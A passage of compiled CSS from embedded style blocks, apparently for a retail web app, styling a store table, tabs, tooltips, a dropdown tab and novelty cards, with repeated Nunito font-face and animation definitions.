@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.stores--table__container {
width: 100%;
display: flex;
flex-direction: column;
box-sizing: border-box;
border-radius: 6px;
border: 1px solid #E1E6EB; }
@media (max-width: 1023px) {
.stores--table__container {
border-radius: 0;
border: 0; } }
.stores--table__container .container__header--table {
width: 100%;
height: 56px;
background-color: #EAEEF2;
border-radius: 6px 6px 0 0;
display: grid;
grid-template-rows: auto;
grid-template-columns: 16px 40px repeat(4, 1fr) 16px; }
@media (max-width: 1023px) {
.stores--table__container .container__header--table {
display: none; } }
.stores--table__container .container__header--table .header__financial {
grid-row: 1/1;
grid-column: 3/4;
display: flex;
justify-content: flex-start;
align-items: center; }
.stores--table__container .container__header--table .header__financial .financial__span {
font-family: NunitoSans-Bold;
font-size: 14px;
line-height: 19px;
color: #122e43; }
.stores--table__container .container__header--table .header__financial .financial__image {
width: 24px;
height: 24px;
margin-left: 8px;
cursor: pointer; }
.stores--table__container .container__header--table .header__region {
grid-row: 1/1;
grid-column: 4/5;
display: flex;
justify-content: flex-start;
align-items: center; }
.stores--table__container .container__header--table .header__region .region__span {
font-family: NunitoSans-Bold;
font-size: 14px;
line-height: 19px;
color: #122e43; }
.stores--table__container .container__header--table .header__region .region__image {
width: 24px;
height: 24px;
margin-left: 8px;
cursor: pointer; }
.stores--table__container .container__header--table .header__zone {
grid-row: 1/1;
grid-column: 5/6;
display: flex;
justify-content: flex-start;
align-items: center; }
.stores--table__container .container__header--table .header__zone .zone__span {
font-family: NunitoSans-Bold;
font-size: 14px;
line-height: 19px;
color: #122e43; }
.stores--table__container .container__header--table .header__zone .zone__image {
width: 24px;
height: 24px;
margin-left: 8px;
cursor: pointer; }
.stores--table__container .container__header--table .header__schedules {
grid-row: 1/1;
grid-column: 6/7;
display: flex;
justify-content: flex-end;
align-items: center; }
.stores--table__container .container__header--table .header__schedules .schedules__span {
font-family: NunitoSans-Bold;
font-size: 14px;
line-height: 19px;
color: #122e43; }
.stores--table__container .container__header--table .header__schedules .schedules__image {
width: 24px;
height: 24px;
margin-left: 8px;
cursor: pointer; }
.stores--table__container .container__body--table {
width: 100%;
display: flex;
flex-direction: column; }
.stores--table__container .container__body--table .body__row {
width: 100%;
height: 56px;
display: grid;
grid-template-rows: auto;
grid-template-columns: 16px 40px repeat(4, 1fr) 16px; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row {
grid-template-columns: 32px 3fr 2fr; } }
.stores--table__container .container__body--table .body__row:nth-child(2n + 1) {
background-color: #ffffff; }
.stores--table__container .container__body--table .body__row:nth-child(2n) {
background-color: #F3F5F8; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row:nth-child(2n) {
background-color: #ffffff; } }
.stores--table__container .container__body--table .body__row:last-child {
border-radius: 0 0 6px 6px; }
.stores--table__container .container__body--table .body__row .row__logo {
grid-row: 1/1;
grid-column: 2/3;
display: flex;
align-items: center; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__logo {
grid-column: 1/2; } }
.stores--table__container .container__body--table .body__row .row__logo .logo__image {
width: 24px;
height: 24px; }
.stores--table__container .container__body--table .body__row .row__financial {
grid-row: 1/1;
grid-column: 3/4;
display: flex;
align-items: center; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__financial {
grid-column: 2/3;
flex-direction: column;
align-items: flex-start;
justify-content: center; } }
.stores--table__container .container__body--table .body__row .row__financial .financial__span {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 19px;
color: #416179; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__financial .financial__span {
font-family: NunitoSans-Bold;
font-size: 13px;
line-height: 17px;
color: #122e43; } }
.stores--table__container .container__body--table .body__row .row__financial .financial--region__span {
display: none; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__financial .financial--region__span {
display: flex;
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #416179; } }
.stores--table__container .container__body--table .body__row .row__region {
grid-row: 1/1;
grid-column: 4/5;
display: flex;
align-items: center; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__region {
display: none; } }
.stores--table__container .container__body--table .body__row .row__region .region__span {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 19px;
color: #416179; }
.stores--table__container .container__body--table .body__row .row__zone {
grid-row: 1/1;
grid-column: 5/6;
display: flex;
align-items: center; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__zone {
display: none; } }
.stores--table__container .container__body--table .body__row .row__zone .zone__span {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 19px;
color: #416179; }
.stores--table__container .container__body--table .body__row .row__schedules {
grid-row: 1/1;
grid-column: 6/7;
display: flex;
align-items: center;
justify-content: flex-end; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__schedules {
grid-column: 3/4;
flex-direction: column;
align-items: flex-end;
justify-content: center; } }
.stores--table__container .container__body--table .body__row .row__schedules .schedules__span {
font-family: NunitoSans-SemiBold;
font-size: 14px;
line-height: 19px;
color: #416179; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__schedules .schedules__span {
font-family: NunitoSans-Bold;
font-size: 13px;
line-height: 17px;
color: #122e43; } }
.stores--table__container .container__body--table .body__row .row__schedules .schedules--zone__span {
display: none; }
@media (max-width: 1023px) {
.stores--table__container .container__body--table .body__row .row__schedules .schedules--zone__span {
display: flex;
font-family: NunitoSans-Regular;
font-size: 12px;
line-height: 16px;
color: #416179; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.tabs {
height: 100%; }
.tabs .tab-list {
display: flex;
margin: 0px;
padding-top: 16px;
font-size: 14px;
line-height: 16px;
font-family: Nunito-Regular;
padding-left: 76px; }
.tabs .tab-list .tab-list-item {
display: block;
position: relative;
padding: 16px 24px;
color: #6e7f8d;
cursor: pointer; }
.tabs .tab-list .tab-list-active {
font-family: Nunito-Bold;
background: #ffffff;
color: #122e43;
box-shadow: 0px 2px 4px rgba(40, 41, 61, 0.04), 0px 8px 16px rgba(96, 97, 112, 0.16);
border-radius: 4px 4px 0px 0px; }
.tabs .content {
padding-right: 5px;
background-color: #ffffff;
border-bottom-right-radius: 10px;
border-bottom-left-radius: 10px; }
.tabs .content .tab-content {
position: relative;
background: #ffffff;
padding: 32px 70px 32px 75px;
font-family: Nunito-Regular;
height: 522px;
border-bottom-left-radius: 10px;
overflow: scroll;
overflow-x: hidden; }
.tabs .content .tab-content::-webkit-scrollbar {
width: 4px; }
.tabs .content .tab-content::-webkit-scrollbar-track {
background: transparent; }
.tabs .content .tab-content::-webkit-scrollbar-thumb {
border-radius: 30px;
background-clip: padding-box;
background-color: #c1cbd4; }
.tabs .content .tab-content::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.tabs .content .tab-content::-webkit-scrollbar-corner {
background-color: transparent; }
@media (max-width: 727px) {
.tabs {
height: 100%; }
.tabs .tab-list {
display: flex;
margin: 0px;
padding-left: 16px;
padding-top: 12px;
font-size: 12px;
line-height: 16px; }
.tabs .tab-list .tab-list-item {
display: block;
padding: 10px 16px;
cursor: pointer; }
.tabs .tab-list .tab-list-active {
box-shadow: 0px 0px 2px rgba(40, 41, 62, 0.039), 0px 4px 8px rgba(96, 97, 113, 0.161); }
.tabs .content {
height: 100%; }
.tabs .content .tab-content {
padding: 25px 26px;
font-size: 14px;
line-height: 18px;
height: 85%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.tooltipComponent {
position: absolute;
padding: 8px;
border-radius: 10px;
font-family: Nunito-Regular;
-webkit-box-shadow: 0px 2px 30px rgba(0, 0, 0, 0.15);
-moz-box-shadow: 0px 2px 30px rgba(0, 0, 0, 0.15);
-ms-box-shadow: 0px 2px 30px rgba(0, 0, 0, 0.15);
-o-box-shadow: 0px 2px 30px rgba(0, 0, 0, 0.15);
box-shadow: 0px 2px 30px rgba(0, 0, 0, 0.15); }
.tooltipComponent.light {
background-color: #ffffff;
color: #122e43; }
.tooltipComponent.light .tooltip--arrow.bottom {
border-top: 10px solid #ffffff; }
.tooltipComponent.light .tooltip--arrow.top {
border-bottom: 10px solid #ffffff; }
.tooltipComponent.dark {
background-color: #122e43;
color: #ffffff; }
.tooltipComponent.dark .tooltip--arrow.bottom {
border-top: 10px solid #122e43; }
.tooltipComponent.dark .tooltip--arrow.top {
border-bottom: 10px solid #122e43; }
.tooltipComponent .tooltip--arrow {
width: 0;
height: 0;
position: absolute; }
.tooltipComponent .tooltip--arrow.bottom {
border-left: 12px solid transparent;
border-right: 12px solid transparent;
bottom: -10px; }
.tooltipComponent .tooltip--arrow.top {
border-right: 12px solid transparent;
border-top: 12px solid transparent !important;
border-left: 12px solid transparent;
top: -21px; }
.tooltipComponent .tooltip--arrow.right {
right: 16px; }
.tooltipComponent .tooltip--arrow.left {
left: 16px; }
@media (max-width: 727px) {
.tooltip {
max-width: 100%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.sb-main-padded {
background-color: transparent; }
.dropdown-tab {
height: 100%;
padding: 0px 48px; }
@media (max-width: 727px) {
.dropdown-tab {
padding: 0;
display: block; } }
.dropdown-tab .tab-wrapper {
font-size: 16px;
color: #ffffff;
text-align: center;
font-family: Nunito-SemiBold;
line-height: 50px; }
.dropdown-tab .tab-wrapper .dropdown-wrapper {
display: none; }
@media (max-width: 727px) {
.dropdown-tab .tab-wrapper .dropdown-wrapper {
display: flex;
align-items: center;
background-color: #45556D;
position: relative;
height: 48px;
margin: 0 auto;
border-radius: 10px; } }
@media (max-width: 727px) {
.dropdown-tab .tab-wrapper .dropdown-button {
display: flex;
width: 24px;
height: 24px;
position: absolute;
right: 24px;
cursor: pointer;
pointer-events: none; }
.dropdown-tab .tab-wrapper .dropdown-button img {
width: 24px;
height: 24px; } }
.dropdown-tab .tab-wrapper .dropdown-list {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background-color: transparent;
border-radius: 10px;
color: #ffffff;
font-family: Nunito-SemiBold;
width: 100%;
outline: none;
padding: 0px 23px;
border: 0px;
cursor: pointer; }
.dropdown-tab .tab-wrapper .tab-list {
padding-inline-start: 0px;
display: flex;
margin: 0px;
font-size: 14px;
line-height: 16px;
font-family: Nunito-Regular;
overflow: auto; }
@media (max-width: 727px) {
.dropdown-tab .tab-wrapper .tab-list {
display: none; } }
.dropdown-tab .tab-wrapper .tab-list .tab-list-item {
display: block;
position: relative;
padding: 16px 24px;
color: #6e7f8d;
cursor: pointer; }
.dropdown-tab .tab-wrapper .tab-list .tab-list-active {
font-family: Nunito-Bold;
background: #ffffff;
color: #122e43;
border-radius: 8px 8px 0px 0px;
border: 1px solid #D7E1EA;
border-bottom: transparent; }
.dropdown-tab .page-container {
background-color: #ffffff;
border-radius: 0px 8px 8px 8px;
box-shadow: 0px 0px 2px rgba(40, 41, 62, 0.039), 0px 4px 8px rgba(96, 97, 113, 0.161);
border: 1px solid #D7E1EA;
border-top: transparent; }
@media (max-width: 727px) {
.dropdown-tab .page-container {
margin-top: 16px;
border-radius: 10px; } }
.dropdown-tab .page-container .tab-content {
position: relative;
background: #ffffff;
font-family: Nunito-Regular;
border-radius: 0 10px 10px 10px;
overflow: scroll;
overflow-x: hidden; }
.dropdown-tab .page-container .tab-content::-webkit-scrollbar {
width: 4px; }
.dropdown-tab .page-container .tab-content::-webkit-scrollbar-track {
background: transparent; }
.dropdown-tab .page-container .tab-content::-webkit-scrollbar-thumb {
border-radius: 30px;
background-clip: padding-box;
background-color: #c1cbd4; }
.dropdown-tab .page-container .tab-content::-webkit-scrollbar-button {
width: 0;
height: 0;
display: none; }
.dropdown-tab .page-container .tab-content::-webkit-scrollbar-corner {
background-color: transparent; }
@media (max-width: 727px) {
.dropdown-tab .page-container .tab-content {
font-size: 14px;
line-height: 18px;
height: 85%; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.novelty__container {
width: 100%;
background-color: #ffffff;
border-radius: 10px;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
box-sizing: border-box; }
.novelty__container .container__image {
width: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
border-radius: 10px; }
.novelty__container .container__image.image--link {
cursor: pointer; }
.novelty__container .container__image.border--image {
border-radius: 10px 10px 0 0; }
.novelty__container .container__image .image__novelty {
width: 100%;
border-radius: 10px; }
.novelty__container .container__image .image__novelty.border--image {
border-radius: 10px 10px 0 0; }
.novelty__container .container__title {
margin: 0;
padding: 16px 20px;
font-family: Nunito-Bold;
font-size: 20px;
line-height: 24px;
color: #122e43; }
.novelty__container .container__title.padding-all {
padding-top: 20px; }
.novelty__container .container__children {
padding: 0 20px 20px 20px;
font-family: NunitoSans-Regular;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.novelty__container .container__children.padding--all {
padding: 20px; }
.novelty__container .container__validity {
display: flex;
align-items: flex-start;
padding: 0 20px 20px 20px; }
.novelty__container .container__validity .validity__icon {
width: 16px;
height: 16px;
margin-right: 8px; }
.novelty__container .container__validity .validity__information {
font-family: NunitoSans-SemiBold;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.novelty__container .container__principal--button {
padding: 16px; }
.novelty__container .container__principal--button .button {
width: 100%;
height: 40px;
font-size: 14px;
line-height: 24px; }
.novelty__container .container__secondary--button {
padding: 0 16px; }
.novelty__container .container__secondary--button .button {
width: 100%;
height: 40px;
font-size: 14px;
line-height: 24px; }
.novelty__container .container__secondary--button .button .button__content {
font-family: Nunito-SemiBold; }
.novelty__container .container__footer--text {
padding: 16px 34px;
text-align: center; }
.novelty__container .container__footer--text .footer--text__span {
font-family: NunitoSans-Bold;
font-size: 12px;
line-height: 16px;
color: #122e43; }
.novelty__container .container__legal {
padding: 16px 20px 16px 20px;
text-align: center; }
.novelty__container .container__legal .legal__span {
font-family: NunitoSans-SemiBold;
font-size: 12px;
line-height: 16px;
color: #18a0fb;
cursor: pointer; }
.novelty--loading__container {
width: 100%;
background-color: #ffffff;
border-radius: 10px;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
box-sizing: border-box;
padding: 24px 20px; }
.novelty--loading__container .container__skeleton {
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
.novelty--loading__container .container__skeleton:nth-child(1) {
width: 152px;
height: 24px;
margin-bottom: 24px;
border-radius: 4px; }
.novelty--loading__container .container__skeleton:nth-child(2) {
width: 275px;
height: 10px;
margin-bottom: 8px;
border-radius: 2px; }
.novelty--loading__container .container__skeleton:nth-child(3) {
width: 212px;
height: 10px;
margin-bottom: 8px;
border-radius: 2px; }
.novelty--loading__container .container__skeleton:nth-child(4) {
width: 245px;
height: 10px;
margin-bottom: 8px;
border-radius: 2px; }
.novelty--loading__container .container__skeleton:nth-child(5) {
width: 275px;
height: 10px;
margin-bottom: 24px;
border-radius: 2px; }
.novelty--loading__container .container__skeleton:nth-child(6) {
width: 287px;
height: 40px;
margin-bottom: 32px;
border-radius: 6px; }
.novelty--loading__container .container__skeleton:nth-child(7) {
width: 120px;
height: 12px;
border-radius: 3px;
margin: 0 auto; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
